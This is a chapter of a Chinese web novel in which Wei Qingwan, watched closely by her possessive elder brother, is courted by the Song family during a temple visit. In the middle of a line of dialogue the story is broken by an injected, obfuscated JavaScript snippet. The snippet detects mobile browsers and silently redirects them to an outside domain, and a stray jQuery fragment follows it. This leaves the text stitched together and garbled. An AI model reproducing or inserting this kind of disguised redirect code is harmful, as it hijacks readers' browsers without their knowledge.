8. 寺庙
    魏青宛顿住脚步,唇角笑意敛去,心里微微发闷。

    “哥哥今日怎么有闲心来寺庙?”

    魏璋穿着一身常服,负着手,目光一错不错地盯着几日未见的人:“妹妹不在家,我只好来了。”

    魏青宛垂眸不语。

    他似是叹了叹,问她:“这几日在寺里住的可还习惯?”

    魏青宛抿唇:“甚好。”

    他又问:“为何要同三妹妹换呢?”

    魏青宛内心幽幽叹气:“祖母年岁渐老,我想多陪陪她。”

    魏璋似笑非笑道:“二妹妹有心了,只要不是躲着什么人便好。”

    魏青宛一窒,“哥哥说笑了。”

    他盯着她:“那妹妹打算何时归家?”

    她沉默片时,回道:“自是和祖母一道回去,还需十日左右。”

    他蹙眉:“太久了,妹妹不在家,我总是睡不好,只盼着妹妹早些归家,日日相见才好。”

    她闻言沉默下来,只觉心里闷得喘不过气来。

    恰在此时,魏老夫人身边的老嬷嬷气吁吁的走来:“大爷,二姑娘,老夫人请二位过去,宋老夫人和宋大夫人及宋家兄妹也来寺里烧香,眼下正一起在前厅说话呢。”

    魏青宛暂得呼吸,微笑着说:“有劳嬷嬷,我和哥哥马上就过去。”

    那老嬷嬷朝二人福了福,随即回去复命。

    “不枉二妹妹这几日天天上香祈福,怕是佛祖也感念二妹妹的一片诚心,要赐给你一桩姻缘。”

    他语气微讽,也不等她,独自就往前厅去。

    魏青宛抿了抿唇,看他背影消失在花树后,方抬步跟上。

    厅堂里,魏老夫人陪着宋老夫人喝茶,下首挨坐的是宋大夫人、宋廷宣和宋枝意两兄妹,众人正说着家常话,这时魏璋进门来,向三位长辈问安,宋廷宣和宋枝意立刻站起来,各自回以礼数,魏青宛来得稍迟些,在魏璋入座后方进来。

    她对着众人盈盈施礼,目光与宋廷宣短暂相触一瞬后,很快又移开。

    宋廷宣自上次在沈家寿宴上看到她,愈发的魂牵梦萦,此刻见到她,一双眼睛恨不得粘在她身上,却又怕冒犯她,只得克制着。

    宋老夫人观她肤白如玉,眉目端丽,气度从容,仪态蹁跹,容貌身段俱是上乘,却又无妖媚之气,不免心生好感,暗道难怪一向心高气傲的孙儿能瞧上,就连素来苛刻的儿媳自沈家寿宴上见到她,回了府后也是一通夸赞。

    宋老夫人慈爱地招她上前,坐在自己右手边,上下细细打量了一回,摩挲着她的手问:“今年几岁了?可曾上过学?平日都做些什么?”

    魏青宛一一都乖巧答了,她声音温温柔柔的,讲话也极有条理,宋老夫人好感倍增,对着宋大夫人暗暗点头。

    这就是入了眼的意思了。

    宋大夫人心神领会,便朝魏老太太笑道:“我正要跟姨母好好讨教,如何养出这样水灵的小娘子的,您这孙女儿我是越看越喜欢。”

    看了看魏璋,又道:“这孙儿也是一表人才,仕途坦荡,这外头还不知多少人羡慕您呢。”

    宋老夫人和魏老夫人是同宗远亲,祖上曾经有段七拐八弯的亲戚关系,按辈分,宋大夫人需叫魏老夫人一声姨母。

    魏老夫人笑意吟吟,显是极受用:“廷宣和枝意俱是好的,我老婆子也是打从心里头的喜欢。”

    宋大夫人望向正吃茶的魏璋,见他一身云缎锦衣,气度沉稳,长相英俊,又瞥了眼身旁的娇俏的小女儿,心下不免动了动,笑说道:“再好也比不得璋哥儿,年纪轻轻就坐到从一品大将军的位置,长得也俊,这日后也不知是哪家的姑娘有这等福气呢。”

    魏青宛察觉到一道隐晦的目光,落在自己身上,她默默垂下了眼睫。

    魏老夫人叹道:“我倒是希望他早日定下来,省得我老婆子整日操心。”

    魏璋放下茶盏,含笑道:“孙儿还年轻,祖母莫忧。”

    宋大夫人道:“璋哥儿说得在理,您老也别心急,凭着柱国大将军的身份,您想要什么样的孙媳妇没有。”

    魏老夫人转了转佛珠,叹道:“我老婆子老了,只盼着孙辈们早日定下来。”

    宋夫人连连点头:“我们做长辈的,皆是如此。”

    魏璋不甚在意自己的亲事,也不耐烦听魏老夫人同外人念叨这些事,吃了半盏茶,略坐了一会儿,便寻机告退了,宋老夫人见他要走,便让剩下三个年轻人也一道出门自去散心解闷。

    待魏璋等人一走,宋老夫人便旁敲侧击道:“这二姑娘已经及笄,可曾定下亲事没有?”

    魏老夫人放下茶盏,摇头道:“还未许人家呢,你若是有知道好的,也帮着谋划谋划。”

    宋老夫人沉吟片刻,笑道:“我倒是有一人选,就怕老姐姐不允。”

    “哦?”魏老夫人来了精神,问道:“你指的是何人?”

    宋老夫人笑说:“你看我们宣哥儿如何?”

    魏老夫人一愣,半晌道:“宣哥儿不是和我们盈姐儿在相看?”

    宋老夫人笑笑:“不瞒老姐姐,我这孙儿与大姑娘没什么缘分,倒是对你们二姑娘一见倾心,我们长辈也都有意帮他说和,就是不知二姑娘对我们廷宣是何想法,老姐姐又是否愿意将孙女儿嫁入我们宋家。”

    宋老夫人原是更中意魏持盈的身份的,但那姑娘她前些日子见过一次,倒也是个貌美的小娘子,就是瞧着性子不够持重,脾气也颇为火爆,那日因她身边的一个丫鬟不小心踩了一下她的裙摆,她竟让人将那丫鬟拖至树丛后打了一顿,她路过园子时恰巧看到了。

    魏持盈在别人府中尚且不知收敛,平日在自己家中对待下人时手段还不知怎样狠厉,这种姑娘若是娶回家中,怕是宋府要永无宁日了。

    这二姑娘是妾室所生,出身倒不算好,但好歹也是将军府的千金,最难得的是孙子喜欢,女孩儿相貌秉性又好,因而结下这门亲事也未尝不可。

    魏老夫人沉吟半晌,谨慎道:“宣哥儿仪表堂堂,年轻又有作为,他来做我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988258|148316||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的孙女婿我自是欢喜的,只是我还得寻个时机问问宛姐儿的意思,再者就是她嫡母和兄长的意见也不可越过了去,且容我们商议商议。”

    宋大夫人连忙道:“自是应该的,那我们就等您的好消息。”

    且说魏璋等人出来后,便往一墙之隔的寺庙而去。

    魏璋位高权重,又在这寺庙捐了大笔香油钱,在寺庙门前站着迎客的小沙弥见他来,忙去禀告住持,很快,一个身穿红色袈裟,手捻佛珠,相貌和蔼的白眉老和尚迎上来,亲自带他们游览佛寺。

    老方丈法号慧明,他领着四人一路游过天王殿、罗汉堂、千佛殿,因着年老不济,他向魏璋告罪去禅房歇息,临走前特地叫了他座下的一个弟子来带领四人游览。

    那弟子名叫不空,约摸十七八岁,身穿青色僧袍,手里拿着一串木制的佛珠,长得眉清目秀,清瘦高挑。

    只见他神情沉静,双手合十向众人施礼。

    “贫僧不空,见过四位施主。”

    宋枝意细细打量他一番,顽笑道:“没想到这寺里的和尚也长得这么俊俏。”

    不空闻言耳根瞬间红透,他双手合十,垂眸低首:“阿弥陀佛,姑娘切勿拿贫僧说笑。”

    宋枝意见他脸颊耳廓皆红透,娇笑道:“喂,小和尚,你的脸怎么这么红?耳朵也熟透了,哈哈哈......”

    宋廷宣面露尴尬,为防自家妹妹再说出什么惊人之言,连忙肃声制止:“枝意,不可无礼。”

    宋枝意这才停下笑来,却跑去挽着魏青宛,嘟嘴道:“宛姐姐,你看他凶我,你可要帮我,我哥哥他最听你的话了.......”

    这下轮到宋廷宣耳根发烫了,他目光看向魏青宛,观察她的反应,心底既忐忑又甜蜜。

    魏青宛心中亦是欢喜,她抬眸瞥了他一眼,白净柔美的小脸浮起一抹羞赧。

    宋枝意已然忍耐不住,噗嗤一声笑出来,然而下一瞬,一道不可忽视的逼人目光朝她投过来,她下意识看去,猝不及防与魏璋视线对上,莫名被那摄人的目光唬了一跳,她笑声顿时止住,愣在原地。

    魏璋面容含笑,笑意却不达眼底,“宋姑娘,此处是佛殿,还请心怀敬畏,对诸位神佛放尊重些。”

    宋枝意怔怔回神,“好......好的,魏将军。”

    魏青宛看了他一眼,心底的欢喜甜蜜一扫而空,只觉浑身发凉,再不敢在他面前外露这些情绪。

    气氛一时变得有些微妙,这时不空适时出声道:“诸位还未去过大雄宝殿,还请随贫僧来。”

    宋枝意顿时如获大赦,连忙挽住魏青宛的手,跟随不空出了千佛殿,往大雄宝殿行去。

    魏璋和宋廷宣跟在后头,他想同魏璋拉近关系,因此搭话道:“魏二姑娘温婉恬静,性子稳重,不似我家妹妹活泼好动,做事风风火火,令人头疼。”

    他以为魏璋作为兄长会觉得欣荣,哪知道魏璋只淡淡回了两个字:“是么。”

    宋廷宣略有些尴尬,一路无话。